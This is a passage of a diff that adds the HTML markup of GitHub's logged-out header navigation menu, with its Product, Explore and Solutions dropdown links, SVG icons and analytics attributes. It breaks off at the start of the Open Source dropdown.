     233 + <li>
     234 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Actions&quot;,&quot;label&quot;:&quot;ref_cta:Actions;&quot;}" href="/features/actions">
     235 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3">
     236 + <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path>
     237 +</svg>
     238 + <div>
     239 + <div class="color-fg-default h4">Actions</div>
     240 + Automate any workflow
     241 + </div>
     242 + 
     243 +
     244 +</a></li>
     245 + 
     246 + <li>
     247 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Packages&quot;,&quot;label&quot;:&quot;ref_cta:Packages;&quot;}" href="/features/packages">
     248 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3">
     249 + <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path>
     250 +</svg>
     251 + <div>
     252 + <div class="color-fg-default h4">Packages</div>
     253 + Host and manage packages
     254 + </div>
     255 + 
     256 +
     257 +</a></li>
     258 + 
     259 + <li>
     260 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Security&quot;,&quot;label&quot;:&quot;ref_cta:Security;&quot;}" href="/features/security">
     261 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3">
     262 + <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path>
     263 +</svg>
     264 + <div>
     265 + <div class="color-fg-default h4">Security</div>
     266 + Find and fix vulnerabilities
     267 + </div>
     268 + 
     269 +
     270 +</a></li>
     271 + 
     272 + <li>
     273 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Codespaces&quot;,&quot;label&quot;:&quot;ref_cta:Codespaces;&quot;}" href="/features/codespaces">
     274 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3">
     275 + <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path>
     276 +</svg>
     277 + <div>
     278 + <div class="color-fg-default h4">Codespaces</div>
     279 + Instant dev environments
     280 + </div>
     281 + 
     282 +
     283 +</a></li>
     284 + 
     285 + <li>
     286 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Copilot&quot;,&quot;label&quot;:&quot;ref_cta:Copilot;&quot;}" href="/features/copilot">
     287 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3">
     288 + <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path>
     289 +</svg>
     290 + <div>
     291 + <div class="color-fg-default h4">Copilot</div>
     292 + Write better code with AI
     293 + </div>
     294 + 
     295 +
     296 +</a></li>
     297 + 
     298 + <li>
     299 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Code review&quot;,&quot;label&quot;:&quot;ref_cta:Code review;&quot;}" href="/features/code-review">
     300 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3">
     301 + <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path>
     302 +</svg>
     303 + <div>
     304 + <div class="color-fg-default h4">Code review</div>
     305 + Manage code changes
     306 + </div>
     307 + 
     308 +
     309 +</a></li>
     310 + 
     311 + <li>
     312 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Issues&quot;,&quot;label&quot;:&quot;ref_cta:Issues;&quot;}" href="/features/issues">
     313 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3">
     314 + <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path>
     315 +</svg>
     316 + <div>
     317 + <div class="color-fg-default h4">Issues</div>
     318 + Plan and track work
     319 + </div>
     320 + 
     321 +
     322 +</a></li>
     323 + 
     324 + <li>
     325 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Discussions&quot;,&quot;label&quot;:&quot;ref_cta:Discussions;&quot;}" href="/features/discussions">
     326 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3">
     327 + <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path>
     328 +</svg>
     329 + <div>
     330 + <div class="color-fg-default h4">Discussions</div>
     331 + Collaborate outside of code
     332 + </div>
     333 + 
     334 +
     335 +</a></li>
     336 + 
     337 + </ul>
     338 + </div>
     339 + <div class="px-lg-4">
     340 + <span class="d-block h4 color-fg-default my-1" id="product-explore-heading">Explore</span>
     341 + <ul class="list-style-none f5" aria-labelledby="product-explore-heading">
     342 + <li>
     343 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to All features&quot;,&quot;label&quot;:&quot;ref_cta:All features;&quot;}" href="/features">
     344 + All features
     345 + 
     346 +
     347 +</a></li>
     348 + 
     349 + <li>
     350 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Documentation&quot;,&quot;label&quot;:&quot;ref_cta:Documentation;&quot;}" href="https://docs.github.com">
     351 + Documentation
     352 + 
     353 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     354 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     355 +</svg>
     356 +</a></li>
     357 + 
     358 + <li>
     359 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to GitHub Skills&quot;,&quot;label&quot;:&quot;ref_cta:GitHub Skills;&quot;}" href="https://skills.github.com/">
     360 + GitHub Skills
     361 + 
     362 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     363 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     364 +</svg>
     365 +</a></li>
     366 + 
     367 + <li>
     368 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Blog&quot;,&quot;label&quot;:&quot;ref_cta:Blog;&quot;}" href="https://github.blog">
     369 + Blog
     370 + 
     371 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     372 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     373 +</svg>
     374 +</a></li>
     375 + 
     376 + </ul>
     377 + </div>
     378 + </div>
     379 +</li>
     380 + 
     381 + 
     382 + <li class="HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item">
     383 + <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false">
     384 + Solutions
     385 + <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1">
     386 + <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path>
     387 +</svg>
     388 + </button>
     389 + <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
     390 + <div class="border-bottom pb-3 mb-3">
     391 + <span class="d-block h4 color-fg-default my-1" id="solutions-for-heading">For</span>
     392 + <ul class="list-style-none f5" aria-labelledby="solutions-for-heading">
     393 + <li>
     394 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Enterprise&quot;,&quot;label&quot;:&quot;ref_cta:Enterprise;&quot;}" href="/enterprise">
     395 + Enterprise
     396 + 
     397 +
     398 +</a></li>
     399 + 
     400 + <li>
     401 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Teams&quot;,&quot;label&quot;:&quot;ref_cta:Teams;&quot;}" href="/team">
     402 + Teams
     403 + 
     404 +
     405 +</a></li>
     406 + 
     407 + <li>
     408 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Startups&quot;,&quot;label&quot;:&quot;ref_cta:Startups;&quot;}" href="/enterprise/startups">
     409 + Startups
     410 + 
     411 +
     412 +</a></li>
     413 + 
     414 + <li>
     415 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Education&quot;,&quot;label&quot;:&quot;ref_cta:Education;&quot;}" href="https://education.github.com">
     416 + Education
     417 + 
     418 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     419 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     420 +</svg>
     421 +</a></li>
     422 + 
     423 + </ul>
     424 + </div>
     425 + <div class="border-bottom pb-3 mb-3">
     426 + <span class="d-block h4 color-fg-default my-1" id="solutions-by-solution-heading">By Solution</span>
     427 + <ul class="list-style-none f5" aria-labelledby="solutions-by-solution-heading">
     428 + <li>
     429 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to CI/CD &amp;amp; Automation&quot;,&quot;label&quot;:&quot;ref_cta:CI/CD &amp;amp; Automation;&quot;}" href="/solutions/ci-cd/">
     430 + CI/CD &amp; Automation
     431 + 
     432 +
     433 +</a></li>
     434 + 
     435 + <li>
     436 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to DevOps&quot;,&quot;label&quot;:&quot;ref_cta:DevOps;&quot;}" href="https://resources.github.com/devops/">
     437 + DevOps
     438 + 
     439 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     440 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     441 +</svg>
     442 +</a></li>
     443 + 
     444 + <li>
     445 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to DevSecOps&quot;,&quot;label&quot;:&quot;ref_cta:DevSecOps;&quot;}" href="https://resources.github.com/devops/fundamentals/devsecops/">
     446 + DevSecOps
     447 + 
     448 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     449 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     450 +</svg>
     451 +</a></li>
     452 + 
     453 + </ul>
     454 + </div>
     455 + <div class="">
     456 + <span class="d-block h4 color-fg-default my-1" id="solutions-resources-heading">Resources</span>
     457 + <ul class="list-style-none f5" aria-labelledby="solutions-resources-heading">
     458 + <li>
     459 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Customer Stories&quot;,&quot;label&quot;:&quot;ref_cta:Customer Stories;&quot;}" href="/customer-stories">
     460 + Customer Stories
     461 + 
     462 +
     463 +</a></li>
     464 + 
     465 + <li>
     466 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to White papers, Ebooks, Webinars&quot;,&quot;label&quot;:&quot;ref_cta:White papers, Ebooks, Webinars;&quot;}" href="https://resources.github.com/">
     467 + White papers, Ebooks, Webinars
     468 + 
     469 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     470 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     471 +</svg>
     472 +</a></li>
     473 + 
     474 + <li>
     475 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Partners&quot;,&quot;label&quot;:&quot;ref_cta:Partners;&quot;}" href="https://partner.github.com/">
     476 + Partners
     477 + 
     478 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     479 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     480 +</svg>
     481 +</a></li>
     482 + 
     483 + </ul>
     484 + </div>
     485 + </div>
     486 +</li>
     487 + 
     488 + 
     489 + <li class="HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item">
     490 + <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false">
     491 + Open Source
     492 + <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1">
     493 + <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path>
     494 +</svg>
     495 + </button>
     496 + <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
     497 + <div class="border-bottom pb-3 mb-3">
     498 + <ul class="list-style-none f5" >
     499 + <li>
